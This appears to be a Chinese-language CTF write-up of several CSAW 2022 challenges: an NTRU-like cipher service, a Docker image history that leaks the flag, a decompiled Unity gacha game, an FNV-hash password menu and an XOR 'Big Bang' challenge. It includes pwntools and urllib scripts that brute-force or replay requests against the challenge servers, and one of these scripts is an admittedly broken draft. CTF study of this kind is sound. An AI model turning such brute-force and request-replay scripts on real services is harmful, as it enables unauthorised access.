- h_before_mod = (p_f_q_poly * self.g_poly).trunc(self.q)
- self.h_poly = (h_before_mod % self.R_poly).trunc(self.q)
-
- def encrypt(self, msg_poly, rand_poly):
- return (((self.h_poly).trunc(self.q) + msg_poly) % self.R_poly).trunc(self.q)
-
- def decrypt(self, msg_poly):
- a_poly = ((self.f_poly * msg_poly) % self.R_poly).trunc(self.q)
- b_poly = a_poly.trunc(self.p)
- return ((self.f_p_poly * b_poly) % self.R_poly).trunc(self.p)
mathutils.py
- import math
- from sympy import GF, invert
- import numpy as np
- from sympy.abc import x
- from sympy import ZZ, Poly
-
-
- def is_prime(n):
- for i in range(2, int(n ** 0.5) + 1):
- if n % i == 0:
- return False
- return True
-
- def is_2_power(n):
- return n != 0 and (n & (n - 1) == 0)
-
- def random_poly(length, d, neg_ones_diff=0):
- result = Poly(np.random.permutation(
- np.concatenate((np.zeros(length - 2 * d - neg_ones_diff), np.ones(d), -np.ones(d + neg_ones_diff)))),
- x).set_domain(ZZ)
- return(result)
-
- def invert_poly(f_poly, R_poly, p):
- inv_poly = None
- if is_prime(p):
- inv_poly = invert(f_poly, R_poly, domain=GF(p))
- elif is_2_power(p):
- inv_poly = invert(f_poly, R_poly, domain=GF(2))
- e = int(math.log(p, 2))
- for i in range(1, e):
- inv_poly = ((2 * inv_poly - f_poly * inv_poly ** 2) % R_poly).trunc(p)
- else:
- raise Exception("Cannot invert polynomial in Z_{}".format(p))
- return inv_poly
server.py
- import numpy as np
- import sys
- from cipher.cipher import Cipher
- from cipher.mathutils import random_poly
- from sympy.abc import x
- from sympy import ZZ, Poly
- import math
-
-
- def encrypt_command(data, public_key):
- input_arr = np.unpackbits(np.frombuffer(data, dtype=np.uint8))
- input_arr = np.trim_zeros(input_arr, 'b')
- output = encrypt(public_key, input_arr, bin_output=True)
- output = np.packbits(np.array(output).astype(int)).tobytes().hex()
- return output
-
-
- def poly_to_bytes(poly):
- res = poly.set_domain(ZZ).all_coeffs()[::-1]
- res = np.packbits(np.array(res).astype(int)).tobytes().hex()
- return bytes.fromhex(res)
-
-
- def decrypt_command(data, private_key):
- input_arr = np.unpackbits(np.frombuffer(data, dtype=np.uint8))
- input_arr = np.trim_zeros(input_arr, 'b')
- output = decrypt(private_key, input_arr, bin_input=True)
- output = np.packbits(np.array(output).astype(int)).tobytes().hex()
- output = bytes.fromhex(output)
- return output
-
-
- def generate(N, p, q):
- cipher = Cipher(N, p, q)
- cipher.generate_random_keys()
- h = np.array(cipher.h_poly.all_coeffs()[::-1])
- f, f_p = np.array(cipher.f_poly.all_coeffs()[::-1]), np.array(cipher.f_p_poly.all_coeffs()[::-1])
- private_key = {'N': N, 'p': p, 'q': q, 'f': f, 'f_p': f_p}
- public_key = {'N': N, 'p': p, 'q': q, 'h': h}
- return (private_key, public_key)
-
-
- def encrypt(pub_key, input_arr, bin_output=False):
- global h_poly
- global c_poly
-
- cipher = Cipher(int(pub_key['N']), int(pub_key['p']), int(pub_key['q']))
- cipher.h_poly = Poly(pub_key['h'].astype(int)[::-1], x).set_domain(ZZ)
- h_poly = cipher.h_poly
-
- if cipher.N < len(input_arr):
- raise Exception("Input is too large for current N")
-
- c_poly = cipher.encrypt(Poly(input_arr[::-1], x).set_domain(ZZ), random_poly(cipher.N, int(math.sqrt(cipher.q))))
- output = c_poly.all_coeffs()[::-1]
- if bin_output:
- k = int(math.log2(cipher.q))
- output = [[0 if c == '0' else 1 for c in np.binary_repr(n, width=k)] for n in output]
-
- return np.array(output).flatten()
-
-
- def decrypt(priv_key, input_arr, bin_input=False):
- cipher = Cipher(int(priv_key['N']), int(priv_key['p']), int(priv_key['q']))
- cipher.f_poly = Poly(priv_key['f'].astype(int)[::-1], x).set_domain(ZZ)
- cipher.f_p_poly = Poly(priv_key['f_p'].astype(int)[::-1], x).set_domain(ZZ)
- if bin_input:
- k = int(math.log2(cipher.q))
- pad = k - len(input_arr) % k
- if pad == k:
- pad = 0
- input_arr = np.array([int("".join(n.astype(str)), 2) for n in
- np.pad(np.array(input_arr), (0, pad), 'constant').reshape((-1, k))])
- if cipher.N < len(input_arr):
- raise Exception("Input is too large for current N")
- return cipher.decrypt(Poly(input_arr[::-1], x).set_domain(ZZ)).all_coeffs()[::-1]
-
-
- def get_password():
- with open("password.txt") as file:
- password = "".join(file.readlines()).strip()
- return password
-
-
- def main():
- password = get_password()
-
- print("********** B E Y O N D Q U A N T U M **********\n")
- print(" I heard that quantums are flying around these days and")
- print("people are thinking of attacking cryptosystems with them.")
- print("So I found this awesome cryptosystem that is safe from")
- print("quantums! You can send as many qubits as you like at this")
- print("cipher, and none of them will break it. Here is a proof of")
- print("concept to show the world how robust our cryptosystem is.")
- print("I\'ve encrypted a password and no amount of skullduggery")
- print("will help you to get it back. See, you can encrypt and")
- print("decrypt all you want, you won\'t get anywhere!")
-
- private_key, public_key = generate(N=97, p=3, q=128)
- print(" This is an asymmetric cryptosystem so here is the public")
- print("key:\n")
- print(str(public_key) + "\n")
- pwd_ct = encrypt_command(password.encode(), public_key)
- print(" The password ciphertext is " + pwd_ct + "\n")
- print(" Have at it!\n")
-
- while True:
- print("/------------------------------\\")
- print("| COMMANDS |")
- print("| |")
- print("| 1) ciphertext_as_poly |")
- print("| 2) publickey_as_poly |")
- print("| 3) solve_challenge
|" ) - print("| 4) exit |")
- print("\\------------------------------/\n")
- print("> ", end="")
- sys.stdout.flush()
- parts = sys.stdin.readline()[:-1].split(" ")
-
- try:
- if parts[0] == "ciphertext_as_poly" or parts[0] == "1":
- print(c_poly)
- sys.stdout.flush()
- elif parts[0] == "publickey_as_poly" or parts[0] == "2":
- print(h_poly)
- sys.stdout.flush()
- elif parts[0] == "solve_challenge" or parts[0] == "3":
- candidate_password = parts[1]
- if candidate_password == password:
- print("\nWhat?! How did you do that??\n")
- with open("flag.txt") as file:
- print("".join(file.readlines()))
- else:
- print("\nNope!\n")
- elif parts[0] == "exit" or parts[0] == "4":
- print("\nBye!")
- sys.stdout.flush()
- return
- else:
- print("\nUnknown command.")
- raise Exception()
- except:
- print("\nSomething went wrong...")
- print("...try again?\n")
- sys.stdout.flush()
-
-
- if __name__ == "__main__":
- main()
交互内容
- $ nc crypto.chal.csaw.io 5003
- ********** B E Y O N D Q U A N T U M **********
-
- I heard that quantums are flying around these days and
- people are thinking of attacking cryptosystems with them.
- So I found this awesome cryptosystem that is safe from
- quantums! You can send as many qubits as you like at this
- cipher, and none of them will break it. Here is a proof of
- concept to show the world how robust our cryptosystem is.
- I've encrypted a password and no amount of skullduggery
- will help you to get it back. See, you can encrypt and
- decrypt all you want, you won't get anywhere!
- This is an asymmetric cryptosystem so here is the public
- key:
-
- {'N': 97, 'p': 3, 'q': 128, 'h': array([0, -6, -43, 12, 22, 51, 57, -27, 44, 64, -40, -56, -21, 31, 12,
- -48, 54, 18, 4, 17, 44, 30, 14, -45, 44, 4, 43, 20, -48, 46, -13,
- -55, 15, 16, -39, 34, 55, 4, 58, -50, 15, -17, 53, 39, -7, 16, -47,
- -31, -55, 18, -6, -47, -22, 3, -59, 12, 40, -40, -8, 45, 36, 47,
- 48, -57, -9, 37, -36, 29, 37, 6, 11, -36, 49, -63, -47, 17, 42,
- -27, 48, 28, -30, 63, -47, 0, 53, -57, -45, -12, 19, -55, -3, -56,
- 35, 32, 35, 63, 5], dtype=object)}
-
- The password ciphertext is 01eea8d2ccdce65906cc9d6806516c4c21158787545815614a2bfa491e46d236e15d4e1fbdb28f242962924fdd1d61230c5167cae48c1847ee9ae9e4a1865c6306912559581cc5029016b1e9f4272bf4948811c00a
-
- Have at it!
-
- /------------------------------\
- | COMMANDS |
- | |
- | 1) ciphertext_as_poly |
- | 2) publickey_as_poly |
- | 3) solve_challenge
| - | 4) exit |
- \------------------------------/
-
- > 1
- Poly(5*x**96 + 64*x**95 + 35*x**94 + 32*x**93 + 36*x**92 - 55*x**91 - 2*x**90 - 54*x**89 + 19*x**88 - 12*x**87 - 45*x**86 - 57*x**85 + 53*x**84 + x**83 - 46*x**82 + 64*x**81 - 30*x**80 + 28*x**79 + 48*x**78 - 27*x**77 + 42*x**76 + 18*x**75 - 46*x**74 - 63*x**73 + 49*x**72 - 36*x**71 + 12*x**70 + 6*x**69 + 37*x**68 + 30*x**67 - 35*x**66 + 38*x**65 - 9*x**64 - 57*x**63 + 48*x**62 + 48*x**61 + 36*x**60 + 46*x**59 - 7*x**58 - 39*x**57 + 40*x**56 + 12*x**55 - 58*x**54 + 4*x**53 - 21*x**52 - 47*x**51 - 5*x**50 + 19*x**49 - 55*x**48 - 30*x**47 - 46*x**46 + 16*x**45 - 7*x**44 + 40*x**43 + 54*x**42 - 17*x**41 + 15*x**40 - 50*x**39 + 58*x**38 + 5*x**37 + 55*x**36 + 35*x**35 - 38*x**34 + 17*x**33 + 15*x**32 - 55*x**31 - 12*x**30 + 47*x**29 - 47*x**28 + 20*x**27 + 44*x**26 + 5*x**25 + 44*x**24 - 44*x**23 + 14*x**22 + 30*x**21 + 44*x**20 + 17*x**19 + 4*x**18 + 19*x**17 + 54*x**16 - 47*x**15 + 12*x**14 + 32*x**13 - 21*x**12 - 55*x**11 - 39*x**10 - 63*x**9 + 44*x**8 - 26*x**7 + 57*x**6 + 51*x**5 + 22*x**4 + 13*x**3 - 43*x**2 - 5*x, x, domain='ZZ')
- /------------------------------\
- | COMMANDS |
- | |
- | 1) ciphertext_as_poly |
- | 2) publickey_as_poly |
- | 3) solve_challenge
| - | 4) exit |
- \------------------------------/
-
- > 2
- Poly(5*x**96 + 63*x**95 + 35*x**94 + 32*x**93 + 35*x**92 - 56*x**91 - 3*x**90 - 55*x**89 + 19*x**88 - 12*x**87 - 45*x**86 - 57*x**85 + 53*x**84 - 47*x**82 + 63*x**81 - 30*x**80 + 28*x**79 + 48*x**78 - 27*x**77 + 42*x**76 + 17*x**75 - 47*x**74 - 63*x**73 + 49*x**72 - 36*x**71 + 11*x**70 + 6*x**69 + 37*x**68 + 29*x**67 - 36*x**66 + 37*x**65 - 9*x**64 - 57*x**63 + 48*x**62 + 47*x**61 + 36*x**60 + 45*x**59 - 8*x**58 - 40*x**57 + 40*x**56 + 12*x**55 - 59*x**54 + 3*x**53 - 22*x**52 - 47*x**51 - 6*x**50 + 18*x**49 - 55*x**48 - 31*x**47 - 47*x**46 + 16*x**45 - 7*x**44 + 39*x**43 + 53*x**42 - 17*x**41 + 15*x**40 - 50*x**39 + 58*x**38 + 4*x**37 + 55*x**36 + 34*x**35 - 39*x**34 + 16*x**33 + 15*x**32 - 55*x**31 - 13*x**30 + 46*x**29 - 48*x**28 + 20*x**27 + 43*x**26 + 4*x**25 + 44*x**24 - 45*x**23 + 14*x**22 + 30*x**21 + 44*x**20 + 17*x**19 + 4*x**18 + 18*x**17 + 54*x**16 - 48*x**15 + 12*x**14 + 31*x**13 - 21*x**12 - 56*x**11 - 40*x**10 + 64*x**9 + 44*x**8 - 27*x**7 + 57*x**6 + 51*x**5 + 22*x**4 + 12*x**3 - 43*x**2 - 6*x, x, domain='ZZ')
- /------------------------------\
- | COMMANDS |
- | |
- | 1) ciphertext_as_poly |
- | 2) publickey_as_poly |
- | 3) solve_challenge
| - | 4) exit |
- \------------------------------/
-
- >
在附件里找到flag的前一半的base64
在其它的压缩包里有压缩的flag.txt是后一半
- {"created":"2022-09-03T07:46:11.653961901Z","created_by":"/bin/sh -c #(nop) WORKDIR /chal"},
- {"created":"2022-09-03T07:46:11.863666686Z","created_by":"/bin/sh -c #(nop) COPY file:d65d0cfa1f5c483eff02b6016940ff4d85eb3b216f05d23a2b891cea6801be2a in p-flag.txt "},
- {"created":"2022-09-03T07:46:12.680399343Z","created_by":"/bin/sh -c echo \"ZmxhZ3tuM3Yzcl9sMzR2M181M241MTcxdjNfMW5mMHJtNDcxMG5fdW5wcjA=\" \u003e /dev/null","empty_layer":true},
- {"created":"2022-09-03T07:46:13.319972067Z","created_by":"/bin/sh -c cat p-flag.txt \u003e tmp.txt; rm -rf flag.txt p-flag.txt; mv tmp.txt flag.txt; echo \"\" \u003e\u003e flag.txt"},
- {"created":"2022-09-03T07:46:14.02363242Z","created_by":"/bin/sh -c echo \"Find the rest of the flag by yourself!\" \u003e\u003e flag.txt"},
- {"created":"2022-09-03T07:46:14.235116602Z","created_by":"/bin/sh -c #(nop) CMD [\"/bin/sh\"]","empty_layer":true}
-
-
- 前一半用base64解码
- flag{n3v3r_l34v3_53n5171v3_1nf0rm4710n_unpr073c73d_w17h1n_7h3_d0ck3rf1l3}
-
- 其它目录下的压缩包里有后一半
- 73c73d_w17h1n_7h3_d0ck3rf1l3}
-
- 73c73d_w17h1n_7h3_d0ck3rf1l3}
- Find the rest of the flag by yourself!
-
- 73c73d_w17h1n_7h3_d0ck3rf1l3}
是个游戏,原来见过的都是dySpy打开就有东西,但这个啥也没有。
看了吾知道的帖子,原来有东西,那台机子上的dnSpy可能有问题,win11和win7区别有点大。
复现一下,用dnSpy打开后,所以函数都在一起
- public class Gacha : MonoBehaviour
- {
- // Token: 0x06000005 RID: 5 RVA: 0x0000208C File Offset: 0x0000028C
- private void Start()
- {
- Debug.Log("Main Logic Starts");
- this.counter = Encoding.ASCII.GetBytes("wakuwaku");
- this.value_masker = Random.Range(1, 999); //生成一个随机数与100异或后,作为bytes类型转base64
- this.value = this.mask_value(100);
- Debug.Log(Convert.ToBase64String(this.mySHA256.ComputeHash(this.counter)));
- }
-
- // Token: 0x06000006 RID: 6 RVA: 0x000020F2 File Offset: 0x000002F2
- private void Update()
- {
- }
-
- // Token: 0x06000007 RID: 7 RVA: 0x000020F4 File Offset: 0x000002F4
- public int get_value()
- {
- return this.unmask_value(this.value);
- }
-
- // Token: 0x06000008 RID: 8 RVA: 0x00002102 File Offset: 0x00000302
- private string mask_value(int v)
- {
- v ^= this.value_masker;
- return Convert.ToBase64String(BitConverter.GetBytes(v));
- }
-
- // Token: 0x06000009 RID: 9 RVA: 0x00002119 File Offset: 0x00000319
- private int unmask_value(string m)
- {
- return BitConverter.ToInt32(Convert.FromBase64String(m), 0) ^ this.value_masker;
- }
-
- // Token: 0x0600000A RID: 10 RVA: 0x00002130 File Offset: 0x00000330
- public void wish()
- {
- int num = this.unmask_value(this.value); //转回base64编码的值,每次减10
- if (num < 10)
- {
- this.insufficient_value();
- return;
- }
- num -= 10;
- this.value = this.mask_value(num);
- this.counter = this.mySHA256.ComputeHash(this.counter);
- this.loading.SetActive(true);
- base.StartCoroutine(this.Upload()); //生成sha256后调用上传函数
- }
-
- // Token: 0x0600000B RID: 11 RVA: 0x00002198 File Offset: 0x00000398
- private void insufficient_value()
- {
- this.mainpage.SetActive(false);
- this.error.SetActive(true);
- Debug.Log("Insufficient Value");
- }
-
- // Token: 0x0600000C RID: 12 RVA: 0x000021BC File Offset: 0x000003BC
- private void fail()
- {
- this.loseaudio.Play();
- this.mainpage.SetActive(false);
- this.failure.SetActive(true);
- Debug.Log("Got nothing");
- }
-
- // Token: 0x0600000D RID: 13 RVA: 0x000021EB File Offset: 0x000003EB
- private void succeed(string f)
- {
- this.winaudio.Play();
- this.mainpage.SetActive(false);
- this.success.SetActive(true);
- this.flag.GetComponent<Text>().text = f;
- Debug.Log("Got Anya!");
- }
-
- // Token: 0x0600000E RID: 14 RVA: 0x0000222B File Offset: 0x0000042B
- public void backfrom(GameObject g)
- {
- g.SetActive(false);
- this.mainpage.SetActive(true);
- }
-
- // Token: 0x0600000F RID: 15 RVA: 0x00002240 File Offset: 0x00000440
- private IEnumerator Upload()
- {
- WWWForm wwwform = new WWWForm();
- string str = Convert.ToBase64String(this.counter); //把sha256的值base64编码
- wwwform.AddField("data", str);
- UnityWebRequest www = UnityWebRequest.Post(this.server, wwwform);
- Debug.Log("Posted: " + str);
- yield return www.SendWebRequest();
- if (www.result != UnityWebRequest.Result.Success)
- {
- Debug.Log(www.error);
- }
- else
- {
- this.loading.SetActive(false);
- string text = www.downloadHandler.text;
- if (text == "")
- {
- this.fail();
- }
- else
- {
- this.succeed(text);
- }
- }
- yield break;
- }
-
- // Token: 0x04000003 RID: 3
- public AudioSource winaudio;
-
- // Token: 0x04000004 RID: 4
- public AudioSource loseaudio;
-
- // Token: 0x04000005 RID: 5
- public GameObject mainpage;
-
- // Token: 0x04000006 RID: 6
- public GameObject loading;
-
- // Token: 0x04000007 RID: 7
- public GameObject success;
-
- // Token: 0x04000008 RID: 8
- public GameObject failure;
-
- // Token: 0x04000009 RID: 9
- public GameObject error;
-
- // Token: 0x0400000A RID: 10
- public GameObject flag;
-
- // Token: 0x0400000B RID: 11
- private string server = "http://rev.chal.csaw.io:10010";
-
- // Token: 0x0400000C RID: 12
- private string value;
-
- // Token: 0x0400000D RID: 13
- private int value_masker;
-
- // Token: 0x0400000E RID: 14
- private byte[] counter;
-
- // Token: 0x0400000F RID: 15
- private SHA256 mySHA256 = SHA256.Create();
- }
每次点击后向后台POST一个请求,在0.1%的概率下返回flag,请求的内容相同就是sha256(b'wakuwaku').hexdigest(),草拟一小段,(后台已经没了没法试)
- import urllib
-
- url = 'http://rev.chal.csaw.io:10010'
- params = {
- data:'4zMQfxpekBQmnOHooaY1MU8RRNH6T3krsHgOxTXD7Z4%3d'
- }
-
- headers = {'Accept-Charset': 'identity',
- 'Content-Type': 'application/x-www-form-urlencoded',
- 'User-Agent': 'UnityPlayer/2020.3.0f1 (UnityWebRequest/1.0, libcurl/7.52.0-DEV)',
- 'X-Unity-Version': '2020.3.0f1'
- }
-
- while True:
- req = urllib.request.Request(url=path, data=params, headers=headers, method='POST')
- response = urllib.request.urlopen(req).read()
- print(response)
- if .....:
- break
这个真是个脑子活。
先通过题目算出5个密码
- for ( result = 0x811C9DC5LL; ; result = 0x1000193 * (v2 ^ (unsigned int)result) )
- {
- v2 = *a1;
- if ( !(_BYTE)v2 )
- break;
- ++a1;
- }
然后到网站上试,因为只有3个选项一直试,正确的输入密码5个密码之一,就能得到flag的一个片断。然后用一个程序辅助试
- from pwn import *
-
-
-
- v = [4013828393,1118844294,3000956154,3658736598,1688072995 ][::-1]
-
- context.log_level = 'debug'
-
- def guess(ss):
- for tv in v:
- p = remote('rev.chal.csaw.io', 5003)
- try:
- for i in ss:
- p.sendlineafter(b'Choice: ', i)
- p.recvline()
- b = p.recv()
- if b'lose' in b:
- print('xxxxx lose', b)
- return
- elif b'decimal form?:' in b:
- p.sendline(str(tv).encode())
- b = p.recv()
- if b'Patreon page' not in b:
- print('-----------------',b)
- p.close()
- return
- else:
- print('xxxxxxxxxxx', b)
- p.close()
- elif b'Choice: ' in b:
- return
- except:
- print('???', b)
-
- p.close()
- return
-
- #
- #guess('131223112223122231113')
- #guess('21122231222311')
- guess('222') #2
- #guess('333')
-
-
-
-
发现这个东西没有终点,后来仔细看发现每个输入后cast_id都会变,所以这个试是有终点的。
1是返回lost说明错了,2是返回正确输入密码试不次,3是cast_id出现重值说明进到循环了就可以退出了。
而片断的顺序就是所使用密码的顺序。最后拼起来。
- flag{e@5+er_ #11
- e995_6ehind_ #222
- p@yw@115_i5_ #1313
- +he_dum6e5+_ #131113
- ide@_ever!!} #1312221
-
- flag{e@5+er_e995_6ehind_p@yw@115_i5_+he_dum6e5+_ide@_ever!!}
题目加密过程比较复杂,
先要爆破出输入的长度,应该是magic**2*2 这个好办,连远程后试,因为给定的vi_a是82位,所以从82向下,试到73就OK了。
加密程序先成随机的key然后生成vi给出,然后要求输入的值运算以后跟key相同。这里边一点key的线索都没有。所以感觉输入与key无关,在本地测试后发现当vi_a是1时输入全F,当vi_a为0时输入全0,技术含量不多,全是猜(当然写程序爆到第一个很重要)
- import random
- import binascii
-
- MAGIC = ?
- K1 = b'\xae@\xb9\x1e\xb5\x98\x97\x81!d\x90\xed\xa9\x0bm~G\x92{y\xcd\x89\x9e\xec2\xb8\x1d\x13OB\x84\xbf\xfaI\xe1o~\x8f\xe40g!%Ri\xda\xd14J\x8aV\xc2x\x1dg\x07K\x1d\xcf\x86{Q\xaa\x00qW\xbb\xe0\xd7\xd8\x9b\x05\x88'
- K2 = b"Q\xbfF\xe1Jgh~\xde\x9bo\x12V\xf4\x92\x81\xb8m\x84\x862va\x13\xcdG\xe2\xec\xb0\xbd{@\x05\xb6\x1e\x90\x81p\x1b\xcf\x98\xde\xda\xad\x96%.\xcb\xb5u\xa9=\x87\xe2\x98\xf8\xb4\xe20y\x84\xaeU\xff\x8e\xa8D\x1f('d\xfaw"
- K3 = b"\xc6j\x0b_\x8e\xa1\xee7\x9d8M\xf9\xa2=])WI]'x)w\xc1\xc4-\xab\x06\xff\xbd\x1fi\xdb t\xe1\x9d\x14\x15\x8f\xb3\x03l\xe8\ru\xebm!\xc9\xcbX\n\xf8\x98m\x00\x996\x17\x1a\x04j\xb1&~\xa1\x8d.\xaa\xc7\xa6\x82"
- K4 = b'9\x95\xf4\xa0q^\x11\xc8b\xc7\xb2\x06]\xc2\xa2\xd6\xa8\xb6\xa2\xd8\x87\xd6\x88>;\xd2T\xf9\x00B\xe0\x96$\xdf\x8b\x1eb\xeb\xeapL\xfc\x93\x17\xf2\x8a\x14\x92\xde64\xa7\xf5\x07g\x92\xfff\xc9\xe8\xe5\xfb\x95N\xd9\x81^r\xd1U8Y}'
- K5 = b"9\xf8\xd2\x1a\x8d\xa14\xb9X\xccC\xe8\xf5X\x05l:\x8a\xf7\x00\xc4\xeb\x8f.\xb6\xa2\xfb\x9a\xbc?\x8f\x06\xe1\xdbY\xc2\xb2\xc1\x91p%y\xb7\xae/\xcf\x1e\x99r\xcc&$\xf3\x84\x155\x1fu.\xb3\x89\xdc\xbb\xb8\x1f\xfbN'\xe3\x90P\xf1k"
- K6 = b'\xc6\x07-\xe5r^\xcbF\xa73\xbc\x17\n\xa7\xfa\x93\xc5u\x08\xff;\x14p\xd1I]\x04eC\xc0p\xf9\x1e$\xa6=M>n\x8f\xda\x86HQ\xd00\xe1f\x8d3\xd9\xdb\x0c{\xea\xca\xe0\x8a\xd1Lv#DG\xe0\x04\xb1\xd8\x1co\xaf\x0e\x94'
-
-
- jokes = ["\nSheldon: Why are you crying?\nPenny: Because I'm stupid.\nSheldon: That's no reason to cry. One cries because one is sad. For example, I cry because others are stupid, and that makes me sad.", "Sheldon: Scissors cuts paper, paper covers rock, rock crushes lizard, lizard poisons Spock, Spock smashes scissors, scissors decapitates lizard, lizard eats paper, paper disproves Spock, Spock vaporizes rock, and as it always has, rock crushes scissors.","\nHoward: Sheldon, don't take this the wrong way, but, you're insane.\nLeonard: That may well be, but the fact is it wouldn't kill us to meet some new people.\nSheldon: For the record, it could kill us to meet new people. They could be murderers or the carriers of unusual pathogens. And I'm not insane, my mother had me tested."]
-
-
- with open("flag.txt",'r') as f:
- flag = f.read().encode()
-
- def foo(x, y, z, w):
- return bytes([(a&b&c&d | a&(b^255)&(c^255)&d | a&(b^255)&c&(d^255) | a&b&(c^255)&(d^255) | (a^255)&b&(c^255)&d | (a^255)&b&c&(d^255)) for a, b, c, d in zip(x, y, z, w)])
-
- def gen_iv():
- iv_a = "{0:b}".format(random.getrandbits(MAGIC)).zfill(MAGIC)
- print(f"Enjoy this random bits : {iv_a}")
- return iv_a, [b"\xff" * MAGIC if iv_a[i]=='1' else b"\x00" * MAGIC for i in range(MAGIC)]
-
- def gen_keys():
- k = b"\x00"*MAGIC
- keys = []
- for i in range(MAGIC-1):
- key = random.randbytes(MAGIC)
- keys.append(key)
- k = xor(k, xor(key,flag))
- keys.append(xor(k,flag))
- return keys
-
- def xor(x, y):
- return bytes([a ^ b for a, b in zip(x, y)])
-
-
- def my_input():
- inp = input()
- inp = binascii.unhexlify(inp)
-
- if len(inp) != MAGIC**2:
- print(random.choice(jokes))
- exit(0)
-
- return [inp[MAGIC*i:MAGIC*(i+1)] for i in range(MAGIC)]
-
- def guardian(out, i, keys, intersection=b"\x00"*MAGIC):
- for j in range(i+1):
- intersection = xor(intersection, keys[j])
- return intersection == out
-
-
- def main():
-
- print("Welcome to the Big Bang challenge!")
-
- iv_a, iv_b = gen_iv()
- keys = gen_keys()
- inp = my_input()
-
- output = b"\x00"*MAGIC
- for i in range(MAGIC):
- output = foo(output, foo(keys[i], foo(inp[i], iv_b[i], K5, K6), K3, K4), K1, K2)
- if not guardian(output, i, keys):
- print("Bazinga! You just fell to one of my classic pranks")
- exit(0)
- print(f"Congratulations, you are smarter than Sheldon!\nHere is your flag:\n{output}")
-
- if __name__ == "__main__":
- try:
- main()
- except Exception:
- print(random.choice(jokes))
- finally:
- exit(0)
先随便弄个key和iv_a爆一下,结果全是F都不敢相信,回头一想,如果与key无关,它就应该是个掩码的样子。
- iv_a = '1100001111100010000101011001000001000100011100111100010010111000100100010'
- MAGIC = 73
- iv_b = [b"\xff" * MAGIC if iv_a[i]=='1' else b"\x00" * MAGIC for i in range(MAGIC)]
- #print(iv_b)
- keys = gen_keys()
- #print(keys)
- '''
- k = b'\x00'*MAGIC
- for i in keys:
- k = xor(k, i)
- print(k) #last k == flag
- '''
- inp = b'\xff'*MAGIC
- for i in range(MAGIC):
- for j in range(256):
- tmp = inp + bytes([j]) + b'\x00'*(MAGIC-i-1)
- output = b"\xff"*(MAGIC+1) + b'\x00'
- output = foo(output, foo(keys[4], foo(tmp, iv_b[4], K5, K6), K3, K4), K1, K2)
- if guardian_i(output, 4, keys, i):
- inp += bytes([j])
- print(inp)
- break
-
- print('ok:', inp)
后边就好办了
- from pwn import *
-
- context.log_level = 'debug'
-
- p = remote('rev.chal.csaw.io', 5004)
- p.recvuntil(b'Enjoy this random bits : ')
- iv_a = p.recvline()[:73]
-
- # 先爆破得到长度为73
- # 根据给出的iv_a如果是1则输出FF如果是0则输出00
- inp = ''
- for i in range(73):
- if iv_a[i] == ord('1'):
- inp += 'ff'*73
- else:
- inp += '00'*73
-
- p.sendline(inp)
- a = p.recvline()
-
- p.recv()
说是.pcap的二进制文件,但是不知道怎么看,wireshark不行就不知道怎么弄了